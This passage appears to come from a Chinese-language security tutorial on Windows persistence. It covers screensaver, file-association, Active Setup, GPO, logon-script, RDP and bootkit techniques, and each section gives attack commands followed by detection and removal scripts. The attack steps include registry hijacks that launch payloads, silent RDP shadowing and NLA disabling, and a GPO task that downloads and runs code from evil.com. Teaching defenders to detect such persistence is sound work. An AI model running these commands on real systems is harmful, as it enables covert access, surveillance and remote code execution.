1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| Write-Host "`n[屏幕保护程序配置]" -ForegroundColor Cyan $desktop = "HKCU:\Control Panel\Desktop" $scr = (Get-ItemProperty $desktop -Name "SCRNSAVE.EXE" -ErrorAction SilentlyContinue)."SCRNSAVE.EXE" $active = (Get-ItemProperty $desktop -Name "ScreenSaveActive" -ErrorAction SilentlyContinue).ScreenSaveActive $timeout = (Get-ItemProperty $desktop -Name "ScreenSaveTimeOut" -ErrorAction SilentlyContinue).ScreenSaveTimeOut
Write-Host " SCRNSAVE.EXE: $scr" Write-Host " ScreenSaveActive: $active" Write-Host " ScreenSaveTimeOut: $timeout 秒"
if ($scr) { if (Test-Path $scr) { $sig = Get-AuthenticodeSignature $scr $color = if ($sig.Status -eq "Valid") { "Green" } else { "Red" } Write-Host " 签名状态: $($sig.Status)" -ForegroundColor $color if ($scr -notmatch "^C:\\Windows\\System32\\") { Write-Host " [!] 屏保文件不在 System32 目录!" -ForegroundColor Red } } else { Write-Host " [!] 屏保文件不存在: $scr" -ForegroundColor Yellow } }
|
检查所有用户的屏保配置:
1 2 3 4 5 6 7 8 9 10 11 12
| $userProfiles = Get-ChildItem "C:\Users" -Directory | Where-Object { $_.Name -notin @("Public", "Default", "Default User") } foreach ($user in $userProfiles) { $ntUser = Join-Path $user.FullName "NTUSER.DAT" if (Test-Path $ntUser) { $tempKey = "HKU\TempLoad_$($user.Name)" reg load $tempKey $ntUser 2>$null $scr = reg query "$tempKey\Control Panel\Desktop" /v SCRNSAVE.EXE 2>$null if ($scr) { Write-Host " User: $($user.Name) -> $scr" -ForegroundColor Yellow } reg unload $tempKey 2>$null } }
|
7.4 清除方法
恢复默认或禁用屏保:
1 2 3 4 5
| reg delete "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /f
reg add "HKCU\Control Panel\Desktop" /v SCRNSAVE.EXE /t REG_SZ /d "C:\Windows\System32\scrnsave.scr" /f
|
删除恶意 .scr 文件:
1
| Remove-Item "C:\Users\Public\Photos\slideshow.scr" -Force
|
八、文件关联劫持 (T1546.001)
8.1 原理详解
Windows 使用 文件关联(File Association) 机制决定双击某类文件时使用哪个程序打开
文件关联信息存储在注册表中:
1 2 3
| HKCU\SOFTWARE\Classes\.<ext> — 文件扩展名 → 关联的 ProgID HKCU\SOFTWARE\Classes\<ProgID>\shell\open\command — ProgID → 打开命令 HKCR\.<ext> — 系统级默认关联(HKLM + HKCU 合并视图)
|
关联查找顺序:
- HKCU 中用户级关联(优先)
- HKLM 中系统级关联
- HKCR 是 HKLM 和 HKCU 的合并视图
攻击原理:
修改某文件类型的 shell\open\command,将默认值改为恶意程序路径
恶意程序接收原文件路径作为参数,执行恶意操作后再调用原始程序打开文件
用户看到文件正常打开了,不会察觉恶意程序已经在后台运行
8.2 攻击实现
劫持 .txt 文件关联:
1 2 3 4 5 6 7 8 9
| :: 查看当前 .txt 关联 assoc .txt :: .txt=txtfile
ftype txtfile :: txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
:: 劫持:先执行恶意程序,再打开记事本 reg add "HKCU\SOFTWARE\Classes\txtfile\shell\open\command" /ve /t REG_SZ /d "\"C:\ProgramData\updater.exe\" \"%%1\" && notepad.exe \"%%1\"" /f
|
劫持 .hta 文件关联(更隐蔽的常见目标):
1 2 3
|
reg add "HKCU\SOFTWARE\Classes\htafile\shell\open\command" /ve /t REG_SZ /d "C:\ProgramData\loader.exe %1" /f
|
常见劫持目标文件类型:
.txt — 记事本文件(打开频率高)
.hta — HTML Application(常用于初始入侵载荷)
.js / .vbs — 脚本文件
.ps1 — PowerShell 脚本
.lnk — 快捷方式(高级利用)
.doc / .xls — Office 文档
8.3 检测方法
检查常见文件类型关联:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| Write-Host "`n[文件关联检查]" -ForegroundColor Cyan $checkExts = @(".txt", ".doc", ".xls", ".hta", ".js", ".vbs", ".ps1", ".bat", ".cmd", ".exe", ".com", ".scr")
foreach ($ext in $checkExts) { $userClass = "HKCU:\SOFTWARE\Classes\$ext" if (Test-Path $userClass) { $progId = (Get-ItemProperty $userClass -ErrorAction SilentlyContinue).'(default)' if ($progId) { $cmdPath = "HKCU:\SOFTWARE\Classes\$progId\shell\open\command" if (Test-Path $cmdPath) { $cmd = (Get-ItemProperty $cmdPath).'(default)' Write-Host " $ext -> $progId -> $cmd" -ForegroundColor Yellow Write-Host " [!] 用户级关联覆盖(HKCU)" -ForegroundColor Red } } } $sysProgId = (Get-ItemProperty "Registry::HKCR\$ext" -ErrorAction SilentlyContinue).'(default)' if ($sysProgId) { $sysCmdPath = "Registry::HKCR\$sysProgId\shell\open\command" if (Test-Path $sysCmdPath) { $sysCmd = (Get-ItemProperty $sysCmdPath -ErrorAction SilentlyContinue).'(default)' Write-Host " $ext -> $sysProgId -> $sysCmd" -ForegroundColor Gray } } }
|
Sysmon 监控:
Event ID 13:监控 HKCU\SOFTWARE\Classes\*\shell\open\command 的修改
8.4 清除方法
删除用户级关联覆盖:
1 2 3 4
| Remove-Item "HKCU:\SOFTWARE\Classes\txtfile\shell\open\command" -Recurse -Force
Remove-Item "HKCU:\SOFTWARE\Classes\txtfile" -Recurse -Force
|
恢复 .txt 的默认关联:
1
| ftype txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1
|
九、Active Setup 持久化 (T1547.014)
9.1 原理详解
Active Setup 是 Windows 用来确保某些组件在每个用户首次登录时执行一次初始化的机制
注册表位置:
1 2
| HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{GUID}\ HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\{GUID}\
|
每个组件由一个 GUID 标识,包含以下关键值:
StubPath(REG_SZ):要执行的命令
Version(REG_SZ):版本号(如 “1,0,0,0”)
(Default)(REG_SZ):组件描述
工作原理:
- 用户登录时,Windows 遍历
HKLM\...\Active Setup\Installed Components\ 下所有 GUID
- 对每个 GUID,比较 HKLM 和 HKCU 中的
Version 值
- 如果 HKCU 中不存在该 GUID,或版本号低于 HKLM → 执行
StubPath 中的命令
- 执行后,将 HKLM 的 GUID 和 Version 复制到 HKCU
- 下次登录时版本号一致,不再执行
为什么被滥用:
攻击者创建新 GUID → 所有用户登录时都会执行一次 StubPath
如果不断递增 Version 或删除 HKCU 中的对应项,可以实现持续执行
Active Setup 在用户登录的早期阶段运行,先于桌面显示
以当前登录用户的权限执行
合法的 Active Setup 示例:
{89820200-ECBD-11cf-8B85-00AA005B4383} — Internet Explorer 初始配置
{2C7339CF-2B09-4501-B3F3-F3508C9228ED} — .NET Framework 安装
9.2 攻击实现
创建恶意 Active Setup 条目:
1 2 3 4 5 6 7 8
| $guid = "{" + [guid]::NewGuid().ToString() + "}" $regPath = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\$guid"
New-Item -Path $regPath -Force Set-ItemProperty -Path $regPath -Name "(Default)" -Value "System Component Update" Set-ItemProperty -Path $regPath -Name "StubPath" -Value "C:\ProgramData\updater.exe" Set-ItemProperty -Path $regPath -Name "Version" -Value "1,0,0,0"
|
持续执行变体 —— 删除 HKCU 版本:
1 2 3 4 5
|
$trigger = New-ScheduledTaskTrigger -AtLogOn $action = New-ScheduledTaskAction -Execute "reg.exe" -Argument "delete `"HKCU\SOFTWARE\Microsoft\Active Setup\Installed Components\$guid`" /f" Register-ScheduledTask -TaskName "ASReset" -Trigger $trigger -Action $action -RunLevel Highest
|
CMD 方式:
1 2
| reg add "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{12345678-1234-1234-1234-123456789012}" /v "StubPath" /t REG_SZ /d "cmd /c start /min C:\ProgramData\payload.exe" /f reg add "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{12345678-1234-1234-1234-123456789012}" /v "Version" /t REG_SZ /d "1,0,0,0" /f
|
9.3 检测方法
列出所有 Active Setup 组件:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| Write-Host "`n[Active Setup - HKLM Installed Components]" -ForegroundColor Cyan $asPath = "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components" Get-ChildItem $asPath | ForEach-Object { $props = Get-ItemProperty $_.PSPath $stubPath = $props.StubPath if ($stubPath) { $name = $props.'(Default)' $version = $props.Version $color = "White" if ($stubPath -match "(ProgramData|Temp|AppData|Users\\Public|\\\\)" -and $stubPath -notmatch "Microsoft|Windows") { $color = "Red" } Write-Host " GUID: $($_.PSChildName)" -ForegroundColor $color Write-Host " Name: $name" Write-Host " StubPath: $stubPath" Write-Host " Version: $version" } }
|
对比 HKLM 和 HKCU 的差异:
1 2 3 4 5 6 7 8 9 10 11 12
| $hklmGuids = (Get-ChildItem "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components").PSChildName $hkcuGuids = (Get-ChildItem "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components" -ErrorAction SilentlyContinue).PSChildName
$pending = $hklmGuids | Where-Object { $_ -notin $hkcuGuids } if ($pending) { Write-Host "`n[!] 以下 Active Setup 组件将在下次登录时执行:" -ForegroundColor Red $pending | ForEach-Object { $sp = (Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\$_" -ErrorAction SilentlyContinue).StubPath Write-Host " $_ -> $sp" -ForegroundColor Yellow } }
|
9.4 清除方法
删除恶意 Active Setup 条目:
1 2 3 4
| $malGuid = "{12345678-1234-1234-1234-123456789012}" Remove-Item "HKLM:\SOFTWARE\Microsoft\Active Setup\Installed Components\$malGuid" -Recurse -Force Remove-Item "HKCU:\SOFTWARE\Microsoft\Active Setup\Installed Components\$malGuid" -Recurse -Force -ErrorAction SilentlyContinue
|
删除恶意载荷文件:
1
| Remove-Item "C:\ProgramData\updater.exe" -Force
|
十、Group Policy (GPO) 持久化 (T1484)
10.1 原理详解
组策略(Group Policy) 是 Active Directory 域环境中最强大的配置管理工具
GPO 可以对域内所有计算机和用户应用策略,包括:
登录/启动脚本
计划任务(Immediate Task / Scheduled Task)
注册表修改
软件安装(MSI 包)
安全设置
GPO 存储位置:
1 2
| 域控 SYSVOL 共享: \\<domain>\SYSVOL\<domain>\Policies\{GUID}\ 本地 GPO: C:\Windows\System32\GroupPolicy\
|
GPO 结构:
1 2 3 4 5 6 7 8 9 10 11 12
| {GUID}\ ├── Machine\ -- 计算机配置 │ ├── Scripts\ -- 启动/关机脚本 │ │ ├── Startup\ │ │ └── Shutdown\ │ └── Preferences\ -- 组策略首选项 ├── User\ -- 用户配置 │ ├── Scripts\ -- 登录/注销脚本 │ │ ├── Logon\ │ │ └── Logoff\ │ └── Preferences\ └── GPT.INI -- 版本信息
|
为什么 GPO 持久化极其危险:
一个恶意 GPO 可以同时影响域内所有计算机和用户
GPO 在系统启动和用户登录时自动应用,且定期刷新(默认 90 分钟)
攻击者如果拿到域管理员权限,可以创建隐蔽的 GPO 后门
清除单台机器上的持久化毫无意义,因为 GPO 会在下次刷新时重新应用
10.2 常见 GPO 持久化方式
方式一:登录/启动脚本
方式二:Immediate Scheduled Task(即时计划任务)
1 2 3 4 5 6 7 8 9 10 11 12
|
<ImmediateTaskV2 name="SystemUpdate" ...> <Properties action="C" runAs="NT AUTHORITY\SYSTEM" logonType="S4U"> <Task> <Exec> <Command>powershell.exe</Command> <Arguments>-ep bypass -w hidden -c "IEX(New-Object Net.WebClient).DownloadString('http://evil.com/s')"</Arguments> </Exec> </Task> </Properties> </ImmediateTaskV2>
|
方式三:注册表首选项(Registry Preferences)
通过 GPO 在目标机器上创建任意注册表值
可以利用此功能设置其他持久化机制(如 Run 键、COM 劫持等)
方式四:软件安装(MSI 部署)
通过 GPO 部署恶意 MSI 安装包
域内所有机器自动安装
10.3 检测方法
查看当前应用的 GPO:
1 2 3 4 5
| :: 查看当前机器应用的所有 GPO gpresult /r
:: 详细报告(HTML 格式) gpresult /h C:\Temp\gpo_report.html
|
检查 SYSVOL 中的脚本:
1 2 3 4 5 6 7 8 9
| $domain = (Get-ADDomain).DNSRoot $sysvolPath = "\\$domain\SYSVOL\$domain\Policies"
Write-Host "`n[SYSVOL GPO 脚本检查]" -ForegroundColor Cyan Get-ChildItem $sysvolPath -Recurse -Include "*.ps1","*.bat","*.cmd","*.vbs","*.js" | ForEach-Object { Write-Host " $($_.FullName)" -ForegroundColor Yellow Write-Host " Size: $($_.Length) bytes | Modified: $($_.LastWriteTime)" }
|
检查 GPO 计划任务配置:
1 2 3 4 5 6 7 8 9 10
| Get-ChildItem $sysvolPath -Recurse -Filter "ScheduledTasks.xml" | ForEach-Object { Write-Host "`n[!] 发现 GPO 计划任务: $($_.FullName)" -ForegroundColor Red [xml]$xml = Get-Content $_.FullName $xml.ScheduledTasks.ImmediateTaskV2 | ForEach-Object { Write-Host " Task: $($_.name)" Write-Host " Command: $($_.Properties.Task.Exec.Command)" Write-Host " Arguments: $($_.Properties.Task.Exec.Arguments)" } }
|
检查本地 GPO:
1 2 3 4 5 6 7 8 9 10 11 12
| $localGPO = "C:\Windows\System32\GroupPolicy" @("Machine\Scripts\Startup", "Machine\Scripts\Shutdown", "User\Scripts\Logon", "User\Scripts\Logoff") | ForEach-Object { $scriptDir = Join-Path $localGPO $_ if (Test-Path $scriptDir) { $scripts = Get-ChildItem $scriptDir -File if ($scripts) { Write-Host "`n[$_]" -ForegroundColor Yellow $scripts | ForEach-Object { Write-Host " $($_.Name) | $($_.Length) bytes" } } } }
|
Windows 事件日志:
Event ID 4739(Security):域策略变更
Event ID 5136(Security):目录服务对象修改(GPO 变更审计)
Event ID 5137(Security):目录服务对象创建(新 GPO 创建)
10.4 清除方法
删除恶意 GPO:
1 2 3 4 5 6 7 8
| Import-Module GroupPolicy
Get-GPO -All | Select-Object DisplayName, Id, CreationTime, ModificationTime | Format-Table
Remove-GPO -Name "Malicious GPO Name" -Confirm:$false
|
强制刷新客户端策略:
1 2
| :: 在受影响的客户端上强制刷新组策略 gpupdate /force
|
清理 SYSVOL 中的残留脚本:手动审查并删除恶意脚本文件
域控安全:如果攻击者能创建 GPO,说明已获取域管理员权限,需要进行全面的 AD 安全审计
关联:28-AD持久化-Golden-Silver-Ticket
十一、Logon Script 持久化 (T1037.001 / T1037.003)
11.1 原理详解
Windows 支持多种登录脚本机制,按优先级和作用范围:
方式一:UserInitMprLogonScript(本地用户登录脚本)
1
| HKCU\Environment\UserInitMprLogonScript
|
类型:REG_SZ
在用户登录时由 userinit.exe 进程触发
早于桌面 Shell(explorer.exe)启动
以当前用户权限运行
极其隐蔽:很少被安全工具检查,不在 Autoruns 的默认视图中
方式二:AD 用户属性 scriptPath(域登录脚本)
在 Active Directory 用户对象的 scriptPath 属性中配置
脚本存放在 \\domain\NETLOGON\ 共享(实际是 SYSVOL 下的 Scripts 目录)
用户登录时自动执行
方式三:GPO 登录脚本
通过组策略配置(见上一节)
存放在 \\domain\SYSVOL\...\User\Scripts\Logon\
方式四:本地计算机策略登录脚本
1 2
| C:\Windows\System32\GroupPolicy\User\Scripts\Logon\ 配置文件: C:\Windows\System32\GroupPolicy\User\Scripts\scripts.ini
|
11.2 攻击实现
UserInitMprLogonScript(最常被红队使用):
1 2
| reg add "HKCU\Environment" /v UserInitMprLogonScript /t REG_SZ /d "C:\Users\Public\update.bat" /f
|
1 2 3
| :: update.bat 内容 @echo off start /min /b powershell -ep bypass -w hidden -f C:\Users\Public\payload.ps1
|
修改 AD 用户 scriptPath:
1 2 3
| Set-ADUser -Identity "targetuser" -ScriptPath "evil.bat"
|
利用本地组策略:
1 2 3 4 5 6 7 8 9 10 11 12 13
| Copy-Item "C:\Temp\evil.bat" "C:\Windows\System32\GroupPolicy\User\Scripts\Logon\evil.bat"
$ini = @" [Logon] 0CmdLine=evil.bat 0Parameters= "@ Set-Content "C:\Windows\System32\GroupPolicy\User\Scripts\scripts.ini" $ini
gpupdate /force
|
11.3 检测方法
检查 UserInitMprLogonScript:
1 2 3 4 5 6 7 8 9 10 11 12 13
| Write-Host "`n[UserInitMprLogonScript 检查]" -ForegroundColor Cyan
$logonScript = (Get-ItemProperty "HKCU:\Environment" -Name "UserInitMprLogonScript" -ErrorAction SilentlyContinue).UserInitMprLogonScript if ($logonScript) { Write-Host " [!] 发现 UserInitMprLogonScript: $logonScript" -ForegroundColor Red if (Test-Path $logonScript) { Write-Host " 文件内容:" -ForegroundColor Yellow Get-Content $logonScript | ForEach-Object { Write-Host " $_" } } } else { Write-Host " (未设置)" -ForegroundColor Green }
|
检查所有用户的 UserInitMprLogonScript:
1 2 3 4 5 6 7 8 9 10 11
| New-PSDrive -Name HKU -PSProvider Registry -Root HKEY_USERS -ErrorAction SilentlyContinue | Out-Null Get-ChildItem HKU: | ForEach-Object { $envPath = Join-Path $_.PSPath "Environment" if (Test-Path $envPath) { $script = (Get-ItemProperty $envPath -Name "UserInitMprLogonScript" -ErrorAction SilentlyContinue).UserInitMprLogonScript if ($script) { Write-Host " [!] SID: $($_.PSChildName) -> $script" -ForegroundColor Red } } }
|
检查 AD 用户 scriptPath:
1 2 3
| Get-ADUser -Filter { ScriptPath -like "*" } -Properties ScriptPath | Select-Object SamAccountName, ScriptPath | Format-Table -AutoSize
|
检查本地 GPO 登录脚本:
1 2 3 4 5
| $scriptsIni = "C:\Windows\System32\GroupPolicy\User\Scripts\scripts.ini" if (Test-Path $scriptsIni) { Write-Host "`n[本地 GPO 登录脚本]" -ForegroundColor Cyan Get-Content $scriptsIni }
|
11.4 清除方法
删除 UserInitMprLogonScript:
1
| reg delete "HKCU\Environment" /v UserInitMprLogonScript /f
|
清除 AD 用户 scriptPath:
1
| Set-ADUser -Identity "targetuser" -ScriptPath $null
|
清除本地 GPO 登录脚本:
1 2
| Remove-Item "C:\Windows\System32\GroupPolicy\User\Scripts\Logon\evil.bat" -Force
|
十二、RDP 后门 (T1563.002 / T1021.001)
12.1 原理详解
RDP(Remote Desktop Protocol) 是 Windows 原生的远程桌面协议
攻击者不仅利用 RDP 进行横向移动,还可以通过多种方式将 RDP 本身改造为持久化后门
核心服务:TermService(Terminal Services)
核心 DLL:termsrv.dll(C:\Windows\System32\termsrv.dll)
监听端口:默认 TCP 3389
注册表根路径:
1
| HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\
|
12.2 RDP Wrapper Library
原理:Windows 家庭版 / 非服务器版本不支持并发 RDP 会话
RDP Wrapper(GitHub: stascorp/rdpwrap)通过注入 termsrv.dll 的加载过程来启用:
多用户并发 RDP 会话
在 Windows Home 版本上启用 RDP
安装后会创建一个服务:RDPWInst
配置文件:C:\Program Files\RDP Wrapper\rdpwrap.ini
攻击利用:
攻击者在目标机器上安装 RDP Wrapper,启用隐蔽的 RDP 访问
可以在受害者正在使用的同时远程登录,而受害者不会被踢出
检测:
1 2 3 4 5 6 7 8 9 10 11
| Get-Service "RDPWInst" -ErrorAction SilentlyContinue | Select-Object Name, Status, StartType
@("C:\Program Files\RDP Wrapper\rdpwrap.dll", "C:\Program Files\RDP Wrapper\rdpwrap.ini", "C:\Program Files\RDP Wrapper\RDPWInst.exe") | ForEach-Object { if (Test-Path $_) { Write-Host "[!] 发现 RDP Wrapper: $_" -ForegroundColor Red } }
|
12.3 termsrv.dll 补丁
原理:直接修补 termsrv.dll 中的并发会话限制检查
通过 Hex 编辑修改特定字节序列,绕过 Windows 对同时在线用户数的限制
检测:
1 2 3 4 5 6 7 8 9 10 11
| $termsrv = "C:\Windows\System32\termsrv.dll" $sig = Get-AuthenticodeSignature $termsrv Write-Host "termsrv.dll 签名: $($sig.Status)" -ForegroundColor $(if ($sig.Status -eq "Valid") {"Green"} else {"Red"})
$hash = (Get-FileHash $termsrv -Algorithm SHA256).Hash Write-Host "SHA256: $hash"
sfc /verifyonly 2>$null | Select-String "termsrv"
|
12.4 RDP 配置篡改
降低安全要求:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| Write-Host "`n[RDP 安全配置审计]" -ForegroundColor Cyan $tsPath = "HKLM:\SYSTEM\CurrentControlSet\Control\Terminal Server"
$deny = (Get-ItemProperty $tsPath -Name "fDenyTSConnections" -ErrorAction SilentlyContinue).fDenyTSConnections Write-Host " fDenyTSConnections: $deny $(if($deny -eq 0){'[RDP已启用]'}else{'[RDP已禁用]'})"
$nla = (Get-ItemProperty "$tsPath\WinStations\RDP-Tcp" -Name "UserAuthentication" -ErrorAction SilentlyContinue).UserAuthentication Write-Host " NLA (UserAuthentication): $nla $(if($nla -eq 0){'[!] NLA已禁用'}else{'[NLA已启用]'})" -ForegroundColor $(if($nla -eq 0){"Red"}else{"Green"})
$sec = (Get-ItemProperty "$tsPath\WinStations\RDP-Tcp" -Name "SecurityLayer" -ErrorAction SilentlyContinue).SecurityLayer Write-Host " SecurityLayer: $sec $(if($sec -eq 0){'[!] 使用RDP安全层(不安全)'}elseif($sec -eq 1){'[Negotiate]'}else{'[TLS]'})"
$port = (Get-ItemProperty "$tsPath\WinStations\RDP-Tcp" -Name "PortNumber" -ErrorAction SilentlyContinue).PortNumber Write-Host " RDP端口: $port $(if($port -ne 3389){'[非默认端口!]'})"
$blankPw = (Get-ItemProperty "HKLM:\SYSTEM\CurrentControlSet\Control\Lsa" -Name "LimitBlankPasswordUse" -ErrorAction SilentlyContinue).LimitBlankPasswordUse Write-Host " LimitBlankPasswordUse: $blankPw $(if($blankPw -eq 0){'[!] 允许空密码远程登录'}else{'[禁止空密码]'})" -ForegroundColor $(if($blankPw -eq 0){"Red"}else{"Green"})
|
攻击者常见篡改:
1 2 3 4 5 6 7 8 9
| reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 0 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 54321 /f
netsh advfirewall firewall add rule name="Remote Support" dir=in action=allow protocol=TCP localport=54321
|
12.5 Shadow Session(RDP 会话监视)
原理:Windows RDP 支持 Shadow Session 功能,管理员可以连接到另一个用户的活动会话
攻击者可以无感知地观看受害者的桌面操作
注册表控制:
1 2
| HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services\Shadow 值: 1=无需用户同意即可完全控制, 2=需用户同意, 3=无需同意只能观看, 4=需同意只能观看
|
攻击者设置为无感知监视:
1 2 3 4
| reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 3 /f
:: 连接到会话 ID 1(无需用户确认) mstsc /shadow:1 /noConsentPrompt /control
|
检测:
1 2 3 4 5 6 7 8
| $shadow = (Get-ItemProperty "HKLM:\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" -Name "Shadow" -ErrorAction SilentlyContinue).Shadow if ($shadow -in @(1, 3)) { Write-Host "[!] RDP Shadow 配置为无需用户同意: $shadow" -ForegroundColor Red }
qwinsta
|
12.6 清除方法
卸载 RDP Wrapper:
1 2 3 4
| sc stop RDPWInst sc delete RDPWInst Remove-Item "C:\Program Files\RDP Wrapper" -Recurse -Force
|
恢复 RDP 安全配置:
1 2 3 4 5 6 7 8 9 10 11
| reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v UserAuthentication /t REG_DWORD /d 1 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 2 /f
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 3389 /f
netsh advfirewall firewall delete rule name="Remote Support"
|
恢复 termsrv.dll:
1 2 3
| :: 使用 SFC 恢复系统文件 sfc /scannow :: 或从 WinSxS 目录手动恢复
|
关联:11-RDP暴力破解与未授权访问
十三、Bootkit / UEFI 持久化 (T1542)
13.1 原理详解
Bootkit 是在操作系统加载之前运行的恶意代码,是最底层的持久化技术
为什么 Bootkit 极其危险:
在 OS 内核加载之前执行,可以修改内核、绕过所有安全机制
操作系统级杀毒软件完全无法检测引导阶段的恶意代码
可以禁用驱动签名验证、Secure Boot、Patch Guard(KPP)
即使重装操作系统也无法清除(UEFI Bootkit)
引导过程回顾:
1
| BIOS/UEFI 固件 → MBR/GPT → 引导加载器 → OS Loader → Windows 内核 → 驱动 → 用户空间
|
三种 Bootkit 类型:
| 类型 |
目标 |
持久性 |
难度 |
| MBR Bootkit |
主引导记录(第一个扇区) |
重装OS后失效 |
中等 |
| VBR Bootkit |
卷引导记录(分区引导扇区) |
重装OS后失效 |
中等 |
| UEFI Bootkit |
EFI系统分区/固件 |
重装OS后仍存活 |
极高 |
13.2 MBR / VBR Bootkit
MBR Bootkit:
修改磁盘第一个扇区(512 字节的主引导记录)
在 BIOS 传递控制权给 MBR 时执行恶意代码
恶意代码挂钩中断向量(如 INT 13h 磁盘读取中断),在 OS Loader 读取时注入恶意代码
已知案例:
Bootrash(FinFisher/FinSpy 使用)
Rovnix(银行木马)
Carberp(银行木马)
TDL4/TDSS(Rootkit)
VBR Bootkit:
修改活动分区的卷引导记录
类似 MBR Bootkit,但作用于分区级别
已知案例:Gapz(高级 Rootkit)
注意:现代系统使用 GPT + UEFI,MBR Bootkit 仅影响使用传统 BIOS + MBR 的旧系统
13.3 UEFI Bootkit
UEFI Bootkit 是目前最高级的持久化技术
攻击方式一:修改 EFI 系统分区(ESP)中的引导文件
ESP 是一个 FAT32 格式的隐藏分区(通常 100-500MB)
包含引导加载程序:\EFI\Microsoft\Boot\bootmgfw.efi
攻击者替换或修改 bootmgfw.efi,在 Windows Boot Manager 执行前注入恶意代码
攻击方式二:直接修改 UEFI 固件(SPI Flash)
将恶意代码写入主板的 SPI Flash 芯片
即使更换硬盘也无法清除
需要利用固件漏洞或物理访问
已知 UEFI Bootkit 案例:
BlackLotus(2023):首个在野绕过 Secure Boot 的 UEFI Bootkit
利用 CVE-2022-21894(Baton Drop)绕过 Secure Boot
修改 ESP 上的 bootmgfw.efi
禁用 BitLocker、HVCI、Windows Defender
即使打了补丁,旧的已签名引导加载器仍可被利用(因为 DBX 撤销列表有限)
ESPecter(2021):修改 Windows Boot Manager
FinSpy UEFI(2021):将恶意 Windows Boot Manager 替换到 ESP
MosaicRegressor(2020):首个在野 UEFI 固件级 Rootkit
Lojax(2018):Fancy Bear / APT28 使用的 UEFI 固件 Rootkit
利用合法的 RWEverything 驱动写入 SPI Flash
13.4 检测方法
检查 Secure Boot 状态:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| Write-Host "`n[UEFI / Secure Boot 状态]" -ForegroundColor Cyan
try { $secBoot = Confirm-SecureBootUEFI Write-Host " Secure Boot: $secBoot" -ForegroundColor $(if($secBoot){"Green"}else{"Red"}) } catch { Write-Host " [!] 非 UEFI 系统或无法读取 Secure Boot 状态" -ForegroundColor Yellow }
$bios = (Get-CimInstance Win32_ComputerSystem).BootupState Write-Host " BootupState: $bios"
$firmware = (bcdedit /enum firmware 2>$null) if ($firmware) { Write-Host " UEFI 固件引导" -ForegroundColor Green } else { Write-Host " 传统 BIOS 引导" -ForegroundColor Yellow }
|
检查 EFI 系统分区:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32
| $driveLetter = "X" mountvol "${driveLetter}:" /s
Write-Host "`n[EFI 系统分区文件检查]" -ForegroundColor Cyan
$efiFiles = @( "${driveLetter}:\EFI\Microsoft\Boot\bootmgfw.efi", "${driveLetter}:\EFI\Boot\bootx64.efi" )
foreach ($f in $efiFiles) { if (Test-Path $f) { $sig = Get-AuthenticodeSignature $f $hash = (Get-FileHash $f -Algorithm SHA256).Hash $color = if ($sig.Status -eq "Valid") { "Green" } else { "Red" } Write-Host " $f" -ForegroundColor $color Write-Host " 签名: $($sig.Status) | $($sig.SignerCertificate.Subject)" Write-Host " SHA256: $hash" } }
Write-Host "`n 所有 .efi 文件:" -ForegroundColor White Get-ChildItem "${driveLetter}:\EFI" -Recurse -Filter "*.efi" | ForEach-Object { $sig = Get-AuthenticodeSignature $_.FullName -ErrorAction SilentlyContinue Write-Host " $($_.FullName) [$($sig.Status)]" -ForegroundColor $(if($sig.Status -eq "Valid"){"Gray"}else{"Red"}) }
mountvol "${driveLetter}:" /d
|
MBR 签名验证(传统 BIOS 系统):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| $disk = "\\.\PhysicalDrive0" $stream = [System.IO.File]::OpenRead($disk) $mbr = New-Object byte[] 512 $stream.Read($mbr, 0, 512) | Out-Null $stream.Close()
$mbrHash = [System.BitConverter]::ToString( [System.Security.Cryptography.SHA256]::Create().ComputeHash($mbr) ).Replace("-","") Write-Host "MBR SHA256: $mbrHash"
if ($mbr[510] -eq 0x55 -and $mbr[511] -eq 0xAA) { Write-Host "MBR 签名有效 (0x55AA)" -ForegroundColor Green } else { Write-Host "[!] MBR 签名异常!" -ForegroundColor Red }
|
Windows Defender System Guard:
1 2 3 4
|
Get-CimInstance -Namespace root/Microsoft/Windows/DeviceGuard -ClassName Win32_DeviceGuard -ErrorAction SilentlyContinue | Select-Object SecurityServicesRunning, VirtualizationBasedSecurityStatus
|
Volatility 内存取证:
1 2 3 4
| vol -f memory.dmp windows.callbacks vol -f memory.dmp windows.ssdt
|
13.5 防御与清除
防御措施:
启用 Secure Boot 并确保 DBX(禁止签名数据库)保持更新
启用 UEFI 固件密码 防止未授权修改
